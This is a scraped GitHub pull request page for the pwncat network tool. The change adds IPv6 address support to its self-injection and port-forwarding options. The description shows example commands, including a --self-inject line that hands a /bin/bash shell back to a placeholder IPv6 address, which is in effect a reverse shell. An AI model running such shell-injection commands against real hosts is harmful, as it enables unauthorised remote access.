Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to ourterms of service andprivacy statement. We’ll occasionally send you account related emails.

Already on GitHub?Sign in to your account

Add IPv6 support for port forwarding and self-injection#90

Open
oza6ut0ne wants to merge2 commits intocytopia:master
base:master
Choose a base branch
Loading
fromoza6ut0ne:feature/ipv6-inject-forward

Conversation

oza6ut0ne
Copy link

Add IPv6 support for port forwarding and self-injection

Description / Changes / Goal

Description

Currently only IPv4 address can be specified for port forwarding and self-injection.
So added IPv6 support for them like below.

$ pwncat -l 4444 --self-inject /bin/bash:[xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:4445$ pwncat -R [xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:4444 10.0.0.1 3306$ pwncat -L [xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:5000 10.0.0.1 3306

Changes

Modified arguments parsing for those options to accept IPv6 address.

Goal

Be able to specify IPv6 address for--self-inject/-R/-L by surrounding the address with[].

PR Checklist

frederictobiasc reacted with thumbs up emoji
Sign up for freeto join this conversation on GitHub. Already have an account?Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.

1 participant
@oza6ut0ne

[8]ページ先頭

©2009-2025 Movatter.jp